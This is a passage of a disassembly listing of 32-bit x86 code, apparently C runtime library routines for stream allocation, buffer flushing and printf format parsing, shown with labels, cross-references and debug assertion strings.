mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax+10h], ecx
mov eax, [ebp+var_C]
loc_4228F6: ; CODE XREF: sub_4225E0+F0j
; sub_4225E0+2C3j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4225E0 endp
; ---------------------------------------------------------------------------
off_4228FD dd offset loc_42272B ; DATA XREF: sub_4225E0+144r
dd offset loc_422856
dd offset loc_422815
dd offset loc_4227F4
dd offset loc_422836
dd offset loc_422765
dd offset loc_4227AC
dd offset loc_4227D0
dd offset loc_422789
dd offset loc_422873
byte_422925 db 0 ; DATA XREF: sub_4225E0+13Er
dw 909h
dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h
dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h
dd 0CC080909h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422970 proc near ; CODE XREF: sub_41B070+B9p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
push 2
call sub_41FB40
add esp, 4
mov [ebp+var_4], 0
jmp short loc_422999
; ---------------------------------------------------------------------------
loc_422990: ; CODE XREF: sub_422970+A8j
; sub_422970:loc_422A99j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_422999: ; CODE XREF: sub_422970+1Ej
mov ecx, [ebp+var_4]
cmp ecx, dword_4F0FA0
jge loc_422A9E
mov edx, [ebp+var_4]
mov eax, dword_4EFF88
cmp dword ptr [eax+edx*4], 0
jz short loc_422A2F
mov ecx, [ebp+var_4]
mov edx, dword_4EFF88
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jnz short loc_422A2D
mov edx, [ebp+var_4]
mov eax, dword_4EFF88
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41ED20
add esp, 8
mov eax, [ebp+var_4]
mov ecx, dword_4EFF88
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_422A1D
mov ecx, [ebp+var_4]
mov edx, dword_4EFF88
mov eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_41ED90
add esp, 8
jmp loc_422990
; ---------------------------------------------------------------------------
loc_422A1D: ; CODE XREF: sub_422970+8Dj
mov edx, [ebp+var_4]
mov eax, dword_4EFF88
mov ecx, [eax+edx*4]
mov [ebp+var_8], ecx
jmp short loc_422A9E
; ---------------------------------------------------------------------------
loc_422A2D: ; CODE XREF: sub_422970+5Dj
jmp short loc_422A99
; ---------------------------------------------------------------------------
loc_422A2F: ; CODE XREF: sub_422970+44j
push 55h
push offset aStream_c ; "stream.c"
push 2
push 38h
call sub_418EF0
add esp, 10h
mov edx, [ebp+var_4]
mov ecx, dword_4EFF88
mov [ecx+edx*4], eax
mov edx, [ebp+var_4]
mov eax, dword_4EFF88
cmp dword ptr [eax+edx*4], 0
jz short loc_422A97
mov ecx, [ebp+var_4]
mov edx, dword_4EFF88
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call dword_4F1470 ; InitializeCriticalSection
mov ecx, [ebp+var_4]
mov edx, dword_4EFF88
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call dword_4F1390 ; RtlEnterCriticalSection
mov ecx, [ebp+var_4]
mov edx, dword_4EFF88
mov eax, [edx+ecx*4]
mov [ebp+var_8], eax
loc_422A97: ; CODE XREF: sub_422970+EAj
jmp short loc_422A9E
; ---------------------------------------------------------------------------
loc_422A99: ; CODE XREF: sub_422970:loc_422A2Dj
jmp loc_422990
; ---------------------------------------------------------------------------
loc_422A9E: ; CODE XREF: sub_422970+32j
; sub_422970+BBj ...
cmp [ebp+var_8], 0
jz short loc_422ADF
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+10h], 0FFFFFFFFh
loc_422ADF: ; CODE XREF: sub_422970+132j
push 2
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_422970 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422AF0 proc near ; CODE XREF: sub_41B740+E5p
; sub_41B910+E4p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
loc_422AF9: ; CODE XREF: sub_422AF0+31j
cmp [ebp+arg_4], 0
jnz short loc_422B1D
push offset dword_437514
push 0
push 69h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_422B1D
int 3 ; Trap to Debugger
loc_422B1D: ; CODE XREF: sub_422AF0+Dj
; sub_422AF0+2Aj
xor eax, eax
test eax, eax
jnz short loc_422AF9
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_10], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 82h
test edx, edx
jz short loc_422B4F
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 40h
test ecx, ecx
jz short loc_422B65
loc_422B4F: ; CODE XREF: sub_422AF0+50j
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_8]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_422D5D
; ---------------------------------------------------------------------------
loc_422B65: ; CODE XREF: sub_422AF0+5Dj
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jz short loc_422BBC
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 10h
test eax, eax
jz short loc_422BA5
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFFEh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
jmp short loc_422BBC
; ---------------------------------------------------------------------------
loc_422BA5: ; CODE XREF: sub_422AF0+97j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
or eax, 0FFFFFFFFh
jmp loc_422D5D
; ---------------------------------------------------------------------------
loc_422BBC: ; CODE XREF: sub_422AF0+80j
; sub_422AF0+B3j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov [ebp+var_4], 0
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jnz short loc_422C2F
cmp [ebp+var_8], offset dword_451148
jz short loc_422C13
cmp [ebp+var_8], offset dword_451168
jnz short loc_422C23
loc_422C13: ; CODE XREF: sub_422AF0+118j
mov edx, [ebp+var_10]
push edx
call sub_42C930
add esp, 4
test eax, eax
jnz short loc_422C2F
loc_422C23: ; CODE XREF: sub_422AF0+121j
mov eax, [ebp+var_8]
push eax
call sub_42C2C0
add esp, 4
loc_422C2F: ; CODE XREF: sub_422AF0+10Fj
; sub_422AF0+131j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz loc_422D1B
loc_422C43: ; CODE XREF: sub_422AF0+187j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [eax]
sub edx, [ecx+8]
test edx, edx
jge short loc_422C73
push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"...
push 0
push 0A0h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_422C73
int 3 ; Trap to Debugger
loc_422C73: ; CODE XREF: sub_422AF0+160j
; sub_422AF0+180j
xor eax, eax
test eax, eax
jnz short loc_422C43
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [ecx]
sub eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+var_8]
mov [eax], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
sub edx, 1
mov eax, [ebp+var_8]
mov [eax+4], edx
cmp [ebp+var_4], 0
jle short loc_422CC6
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+8]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_42BDF0
add esp, 0Ch
mov [ebp+var_C], eax
jmp short loc_422D0E
; ---------------------------------------------------------------------------
loc_422CC6: ; CODE XREF: sub_422AF0+1B8j
cmp [ebp+var_10], 0FFFFFFFFh
jz short loc_422CE9
mov edx, [ebp+var_10]
sar edx, 5
mov eax, [ebp+var_10]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4EFC40[edx*4]
add ecx, eax
mov [ebp+var_14], ecx
jmp short loc_422CF0
; ---------------------------------------------------------------------------
loc_422CE9: ; CODE XREF: sub_422AF0+1DAj
mov [ebp+var_14], offset dword_451C50
loc_422CF0: ; CODE XREF: sub_422AF0+1F7j
mov edx, [ebp+var_14]
movsx eax, byte ptr [edx+4]
and eax, 20h
test eax, eax
jz short loc_422D0E
push 2
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_4292F0
add esp, 0Ch
loc_422D0E: ; CODE XREF: sub_422AF0+1D4j
; sub_422AF0+20Cj
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_422D39
; ---------------------------------------------------------------------------
loc_422D1B: ; CODE XREF: sub_422AF0+14Dj
mov [ebp+var_4], 1
mov edx, [ebp+var_4]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_42BDF0
add esp, 0Ch
mov [ebp+var_C], eax
loc_422D39: ; CODE XREF: sub_422AF0+229j
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jz short loc_422D55
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
or eax, 0FFFFFFFFh
jmp short loc_422D5D
; ---------------------------------------------------------------------------
loc_422D55: ; CODE XREF: sub_422AF0+24Fj
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_422D5D: ; CODE XREF: sub_422AF0+70j
; sub_422AF0+C7j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_422AF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D70 proc near ; CODE XREF: sub_41B740+9Ap
; sub_41B910+99p ...
var_2A6 = word ptr -2A6h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = byte ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = word ptr -248h
var_244 = dword ptr -244h
var_240 = byte ptr -240h
var_23F = byte ptr -23Fh
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = byte ptr -228h
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2A8h
push ebx
push esi
push edi
mov [ebp+var_24], 0
mov [ebp+var_22C], 0
mov [ebp+var_18], 0
loc_422D94: ; CODE XREF: sub_422D70:loc_423982j
mov eax, [ebp+arg_4]
mov cl, [eax]
mov byte ptr [ebp+var_28], cl
movsx edx, byte ptr [ebp+var_28]
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test edx, edx
jz loc_423987
cmp [ebp+var_22C], 0
jl loc_423987
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 20h
jl short loc_422DE6
movsx edx, byte ptr [ebp+var_28]
cmp edx, 78h
jg short loc_422DE6
movsx eax, byte ptr [ebp+var_28]
movsx ecx, byte ptr [eax+437FF8h]
and ecx, 0Fh
mov [ebp+var_290], ecx
jmp short loc_422DF0
; ---------------------------------------------------------------------------
loc_422DE6: ; CODE XREF: sub_422D70+55j
; sub_422D70+5Ej
mov [ebp+var_290], 0
loc_422DF0: ; CODE XREF: sub_422D70+74j
mov edx, [ebp+var_290]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_18]
movsx edx, byte_438018[ecx+eax*8]
sar edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
mov [ebp+var_294], eax
cmp [ebp+var_294], 7
ja loc_423982
mov ecx, [ebp+var_294]
jmp off_423994[ecx*4]
loc_422E30: ; CODE XREF: sub_422D70+332j
; DATA XREF: .nsp0:off_423994o
mov [ebp+var_1C], 0
mov edx, [ebp+var_28]
and edx, 0FFh
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_422EAD
lea edx, [ebp+var_22C]
push edx
mov eax, [ebp+arg_0]
push eax
movsx ecx, byte ptr [ebp+var_28]
push ecx
call sub_423AA0
add esp, 0Ch
mov edx, [ebp+arg_4]
mov al, [edx]
mov byte ptr [ebp+var_28], al
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
loc_422E7E: ; CODE XREF: sub_422D70+13Bj
movsx edx, byte ptr [ebp+var_28]
test edx, edx
jnz short loc_422EA7
push offset aCh_t0 ; "ch != _T('\\0')"
push 0
push 186h
push offset aOutput_c ; "output.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_422EA7
int 3 ; Trap to Debugger
loc_422EA7: ; CODE XREF: sub_422D70+114j
; sub_422D70+134j
xor eax, eax
test eax, eax
jnz short loc_422E7E
loc_422EAD: ; CODE XREF: sub_422D70+E3j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
call sub_423AA0
add esp, 0Ch
jmp loc_423982
; ---------------------------------------------------------------------------
loc_422ECA: ; CODE XREF: sub_422D70+B9j
; DATA XREF: .nsp0:00423998o
mov [ebp+var_8], 0
mov ecx, [ebp+var_8]
mov [ebp+var_23C], ecx
mov edx, [ebp+var_23C]
mov [ebp+var_244], edx
mov eax, [ebp+var_244]
mov [ebp+var_10], eax
mov [ebp+var_4], 0
mov [ebp+var_234], 0FFFFFFFFh
mov [ebp+var_1C], 0
jmp loc_423982
; ---------------------------------------------------------------------------
loc_422F0C: ; CODE XREF: sub_422D70+B9j
; DATA XREF: .nsp0:0042399Co
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_298], ecx
mov edx, [ebp+var_298]
sub edx, 20h
mov [ebp+var_298], edx
cmp [ebp+var_298], 10h
ja short loc_422F76
mov ecx, [ebp+var_298]
xor eax, eax
mov al, byte_4239CC[ecx]
jmp off_4239B4[eax*4]
loc_422F43: ; CODE XREF: sub_422D70+B9j
; DATA XREF: .nsp0:004239C0o
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
jmp short loc_422F76
; ---------------------------------------------------------------------------
loc_422F4E: ; CODE XREF: sub_422D70+B9j
; sub_422D70+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
jmp short loc_422F76
; ---------------------------------------------------------------------------
loc_422F58: ; CODE XREF: sub_422D70+B9j
; sub_422D70+1CCj
; DATA XREF: ...
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
jmp short loc_422F76
; ---------------------------------------------------------------------------
loc_422F63: ; CODE XREF: sub_422D70+B9j
; sub_422D70+1CCj
; DATA XREF: ...
mov edx, [ebp+var_4]
or dl, 80h
mov [ebp+var_4], edx
jmp short loc_422F76
; ---------------------------------------------------------------------------
loc_422F6E: ; CODE XREF: sub_422D70+B9j
; sub_422D70+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_422F76: ; CODE XREF: sub_422D70+B9j
; sub_422D70+1BCj ...
jmp loc_423982
; ---------------------------------------------------------------------------
loc_422F7B: ; CODE XREF: sub_422D70+B9j
; DATA XREF: .nsp0:004239A0o
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 2Ah
jnz short loc_422FB7
lea edx, [ebp+arg_8]
push edx
call sub_423BB0
add esp, 4
mov [ebp+var_244], eax
cmp [ebp+var_244], 0
jge short loc_422FB5
mov eax, [ebp+var_4]
or al, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_244]
neg ecx
mov [ebp+var_244], ecx
loc_422FB5: ; CODE XREF: sub_422D70+22Dj
jmp short loc_422FCE
; ---------------------------------------------------------------------------
loc_422FB7: ; CODE XREF: sub_422D70+212j
mov edx, [ebp+var_244]
imul edx, 0Ah
movsx eax, byte ptr [ebp+var_28]
lea ecx, [edx+eax-30h]
mov [ebp+var_244], ecx
loc_422FCE: ; CODE XREF: sub_422D70:loc_422FB5j
jmp loc_423982
; ---------------------------------------------------------------------------
loc_422FD3: ; CODE XREF: sub_422D70+B9j
; DATA XREF: .nsp0:004239A4o
mov [ebp+var_234], 0
jmp loc_423982
; ---------------------------------------------------------------------------
loc_422FE2: ; CODE XREF: sub_422D70+B9j
; DATA XREF: .nsp0:004239A8o
movsx edx, byte ptr [ebp+var_28]
cmp edx, 2Ah
jnz short loc_423012
lea eax, [ebp+arg_8]
push eax
call sub_423BB0
add esp, 4
mov [ebp+var_234], eax
cmp [ebp+var_234], 0
jge short loc_423010
mov [ebp+var_234], 0FFFFFFFFh
loc_423010: ; CODE XREF: sub_422D70+294j
jmp short loc_423029
; ---------------------------------------------------------------------------
loc_423012: ; CODE XREF: sub_422D70+279j
mov ecx, [ebp+var_234]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_28]
lea eax, [ecx+edx-30h]
mov [ebp+var_234], eax
loc_423029: ; CODE XREF: sub_422D70:loc_423010j
jmp loc_423982
; ---------------------------------------------------------------------------
loc_42302E: ; CODE XREF: sub_422D70+B9j
; DATA XREF: .nsp0:004239ACo
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_29C], ecx
mov edx, [ebp+var_29C]
sub edx, 49h
mov [ebp+var_29C], edx
cmp [ebp+var_29C], 2Eh
ja short loc_4230BC
mov ecx, [ebp+var_29C]
xor eax, eax
mov al, byte_4239F1[ecx]
jmp off_4239DD[eax*4]
loc_423065: ; DATA XREF: .nsp0:004239E5o
mov edx, [ebp+var_4]
or edx, 10h
mov [ebp+var_4], edx
jmp short loc_4230BC
; ---------------------------------------------------------------------------
loc_423070: ; CODE XREF: sub_422D70+2EEj
; DATA XREF: .nsp0:off_4239DDo
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 36h
jnz short loc_42309B
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
cmp eax, 34h
jnz short loc_42309B
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
mov edx, [ebp+var_4]
or dh, 80h
mov [ebp+var_4], edx
jmp short loc_4230A7
; ---------------------------------------------------------------------------
loc_42309B: ; CODE XREF: sub_422D70+309j
; sub_422D70+315j
mov [ebp+var_18], 0
jmp loc_422E30
; ---------------------------------------------------------------------------
loc_4230A7: ; CODE XREF: sub_422D70+329j
jmp short loc_4230BC
; ---------------------------------------------------------------------------
loc_4230A9: ; CODE XREF: sub_422D70+2EEj
; DATA XREF: .nsp0:004239E1o
mov eax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], eax
jmp short loc_4230BC
; ---------------------------------------------------------------------------
loc_4230B3: ; CODE XREF: sub_422D70+2EEj
; DATA XREF: .nsp0:004239E9o
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_4230BC: ; CODE XREF: sub_422D70+2DEj
; sub_422D70+2EEj ...
jmp loc_423982
; ---------------------------------------------------------------------------
loc_4230C1: ; CODE XREF: sub_422D70+B9j
; DATA XREF: .nsp0:004239B0o
movsx edx, byte ptr [ebp+var_28]
mov [ebp+var_2A0], edx
mov eax, [ebp+var_2A0]
sub eax, 43h
mov [ebp+var_2A0], eax
cmp [ebp+var_2A0], 35h
ja loc_4237A7
mov edx, [ebp+var_2A0]
xor ecx, ecx
mov cl, byte_423A5C[edx]
jmp off_423A20[ecx*4]
loc_4230FC: ; DATA XREF: .nsp0:off_423A20o
mov eax, [ebp+var_4]
and eax, 830h
test eax, eax
jnz short loc_423111
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_423111: ; CODE XREF: sub_422D70+385j
; sub_422D70+396j
; DATA XREF: ...
mov edx, [ebp+var_4]
and edx, 810h
test edx, edx
jz short loc_423157
lea eax, [ebp+arg_8]
push eax
call sub_423BF0
add esp, 4
mov [ebp+var_14], ax
mov cx, [ebp+var_14]
push ecx
lea edx, [ebp+var_228]
push edx
call sub_42C970
add esp, 8
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jge short loc_423155
mov [ebp+var_23C], 1
loc_423155: ; CODE XREF: sub_422D70+3D9j
jmp short loc_42317D
; ---------------------------------------------------------------------------
loc_423157: ; CODE XREF: sub_422D70+3ACj
lea eax, [ebp+arg_8]
push eax
call sub_423BB0
add esp, 4
mov [ebp+var_248], ax
mov cl, byte ptr [ebp+var_248]
mov [ebp+var_228], cl
mov [ebp+var_24], 1
loc_42317D: ; CODE XREF: sub_422D70:loc_423155j
lea edx, [ebp+var_228]
mov [ebp+var_20], edx
jmp loc_4237A7
; ---------------------------------------------------------------------------
loc_42318B: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A30o
lea eax, [ebp+arg_8]
push eax
call sub_423BB0
add esp, 4
mov [ebp+var_24C], eax
cmp [ebp+var_24C], 0
jz short loc_4231B2
mov ecx, [ebp+var_24C]
cmp dword ptr [ecx+4], 0
jnz short loc_4231CC
loc_4231B2: ; CODE XREF: sub_422D70+434j
mov edx, off_4516B4
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_418D00
add esp, 4
mov [ebp+var_24], eax
jmp short loc_42321B
; ---------------------------------------------------------------------------
loc_4231CC: ; CODE XREF: sub_422D70+440j
mov ecx, [ebp+var_4]
and ecx, 800h
test ecx, ecx
jz short loc_4231FC
mov edx, [ebp+var_24C]
mov eax, [edx+4]
mov [ebp+var_20], eax
mov ecx, [ebp+var_24C]
movsx edx, word ptr [ecx]
shr edx, 1
mov [ebp+var_24], edx
mov [ebp+var_1C], 1
jmp short loc_42321B
; ---------------------------------------------------------------------------
loc_4231FC: ; CODE XREF: sub_422D70+467j
mov [ebp+var_1C], 0
mov eax, [ebp+var_24C]
mov ecx, [eax+4]
mov [ebp+var_20], ecx
mov edx, [ebp+var_24C]
movsx eax, word ptr [edx]
mov [ebp+var_24], eax
loc_42321B: ; CODE XREF: sub_422D70+45Aj
; sub_422D70+48Aj
jmp loc_4237A7
; ---------------------------------------------------------------------------
loc_423220: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A28o
mov ecx, [ebp+var_4]
and ecx, 830h
test ecx, ecx
jnz short loc_423236
mov edx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], edx
loc_423236: ; CODE XREF: sub_422D70+385j
; sub_422D70+4BBj
; DATA XREF: ...
cmp [ebp+var_234], 0FFFFFFFFh
jnz short loc_42324B
mov [ebp+var_2A4], 7FFFFFFFh
jmp short loc_423257
; ---------------------------------------------------------------------------
loc_42324B: ; CODE XREF: sub_422D70+4CDj
mov eax, [ebp+var_234]
mov [ebp+var_2A4], eax
loc_423257: ; CODE XREF: sub_422D70+4D9j
mov ecx, [ebp+var_2A4]
mov [ebp+var_258], ecx
lea edx, [ebp+arg_8]
push edx
call sub_423BB0
add esp, 4
mov [ebp+var_20], eax
mov eax, [ebp+var_4]
and eax, 810h
test eax, eax
jz short loc_4232E6
cmp [ebp+var_20], 0
jnz short loc_42328D
mov ecx, off_4516B8
mov [ebp+var_20], ecx
loc_42328D: ; CODE XREF: sub_422D70+512j
mov [ebp+var_1C], 1
mov edx, [ebp+var_20]
mov [ebp+var_254], edx
loc_42329D: ; CODE XREF: sub_422D70+564j
mov eax, [ebp+var_258]
mov ecx, [ebp+var_258]
sub ecx, 1
mov [ebp+var_258], ecx
test eax, eax
jz short loc_4232D6
mov edx, [ebp+var_254]
xor eax, eax
mov ax, [edx]
test eax, eax
jz short loc_4232D6
mov ecx, [ebp+var_254]
add ecx, 2
mov [ebp+var_254], ecx
jmp short loc_42329D
; ---------------------------------------------------------------------------
loc_4232D6: ; CODE XREF: sub_422D70+544j
; sub_422D70+553j
mov edx, [ebp+var_254]
sub edx, [ebp+var_20]
sar edx, 1
mov [ebp+var_24], edx
jmp short loc_423340
; ---------------------------------------------------------------------------
loc_4232E6: ; CODE XREF: sub_422D70+50Cj
cmp [ebp+var_20], 0
jnz short loc_4232F4
mov eax, off_4516B4
mov [ebp+var_20], eax
loc_4232F4: ; CODE XREF: sub_422D70+57Aj
mov ecx, [ebp+var_20]
mov [ebp+var_250], ecx
loc_4232FD: ; CODE XREF: sub_422D70+5C2j
mov edx, [ebp+var_258]
mov eax, [ebp+var_258]
sub eax, 1
mov [ebp+var_258], eax
test edx, edx
jz short loc_423334
mov ecx, [ebp+var_250]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_423334
mov eax, [ebp+var_250]
add eax, 1
mov [ebp+var_250], eax
jmp short loc_4232FD
; ---------------------------------------------------------------------------
loc_423334: ; CODE XREF: sub_422D70+5A4j
; sub_422D70+5B1j
mov ecx, [ebp+var_250]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
loc_423340: ; CODE XREF: sub_422D70+574j
jmp loc_4237A7
; ---------------------------------------------------------------------------
loc_423345: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A40o
lea edx, [ebp+arg_8]
push edx
call sub_423BB0
add esp, 4
mov [ebp+var_25C], eax
mov eax, [ebp+var_4]
and eax, 20h
test eax, eax
jz short loc_423373
mov ecx, [ebp+var_25C]
mov dx, word ptr [ebp+var_22C]
mov [ecx], dx
jmp short loc_423381
; ---------------------------------------------------------------------------
loc_423373: ; CODE XREF: sub_422D70+5EFj
mov eax, [ebp+var_25C]
mov ecx, [ebp+var_22C]
mov [eax], ecx
loc_423381: ; CODE XREF: sub_422D70+601j
mov [ebp+var_23C], 1
jmp loc_4237A7
; ---------------------------------------------------------------------------
loc_423390: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A24o
mov [ebp+var_8], 1
mov dl, byte ptr [ebp+var_28]
add dl, 20h
mov byte ptr [ebp+var_28], dl
loc_4233A0: ; CODE XREF: sub_422D70+385j
; DATA XREF: .nsp0:00423A3Co
mov eax, [ebp+var_4]
or al, 40h
mov [ebp+var_4], eax
lea ecx, [ebp+var_228]
mov [ebp+var_20], ecx
cmp [ebp+var_234], 0
jge short loc_4233C6
mov [ebp+var_234], 6
jmp short loc_4233E2
; ---------------------------------------------------------------------------
loc_4233C6: ; CODE XREF: sub_422D70+648j
cmp [ebp+var_234], 0
jnz short loc_4233E2
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_4233E2
mov [ebp+var_234], 1
loc_4233E2: ; CODE XREF: sub_422D70+654j
; sub_422D70+65Dj ...
mov eax, [ebp+arg_8]
add eax, 8
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
sub ecx, 8
mov edx, [ecx]
mov eax, [ecx+4]
mov [ebp+var_264], edx
mov [ebp+var_260], eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_234]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
mov ecx, [ebp+var_20]
push ecx
lea edx, [ebp+var_264]
push edx
call off_451A48
add esp, 14h
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jz short loc_423448
cmp [ebp+var_234], 0
jnz short loc_423448
mov ecx, [ebp+var_20]
push ecx
call off_451A54
add esp, 4
loc_423448: ; CODE XREF: sub_422D70+6C0j
; sub_422D70+6C9j
